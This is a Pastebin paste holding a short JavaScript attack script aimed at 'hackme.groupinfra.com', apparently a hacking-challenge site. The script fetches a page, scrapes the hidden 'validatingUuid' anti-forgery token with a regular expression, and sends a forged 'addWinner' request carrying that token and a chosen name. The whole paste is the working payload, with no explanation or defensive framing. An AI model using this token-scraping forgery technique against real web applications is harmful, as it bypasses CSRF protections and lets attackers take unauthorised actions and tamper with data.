Advertisement
Guest User

Untitled

a guest
Nov 26th, 2014
251
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.86 KB | None | 0 0
  1. function test() {
  2. var req = null;
  3. try {
  4. req = new XMLHttpRequest()
  5. } catch (e) {}
  6. if (!req) try {
  7. req = new ActiveXObject("Msxml2.XMLHTTP")
  8. } catch (e) {}
  9. if (!req) try {
  10. req = new ActiveXObject("Microsoft.XMLHTTP")
  11. } catch (e) {}
  12. $.ajax({
  13. type: 'GET',
  14. url: 'http://hackme.groupinfra.com/obiwan/pages/index',
  15. success: function(resp) {
  16. matches = resp.match('<input type="hidden" name="validatingUuid" value="([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[34][0-9a-fA-F]{3}-[89ab][0-9a-fA-F]{3}-[0-9a-fA-F]{12})" />');
  17. console.log(matches[1]);
  18. req.open('GET', 'http://hackme.groupinfra.com/obiwan/pages/addWinner?name=Vincent Penvern&validatingUuid=' + matches[1], false);
  19. req.send(null)
  20. },
  21. error: function() {}
  22. })
  23. }
  24. test();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement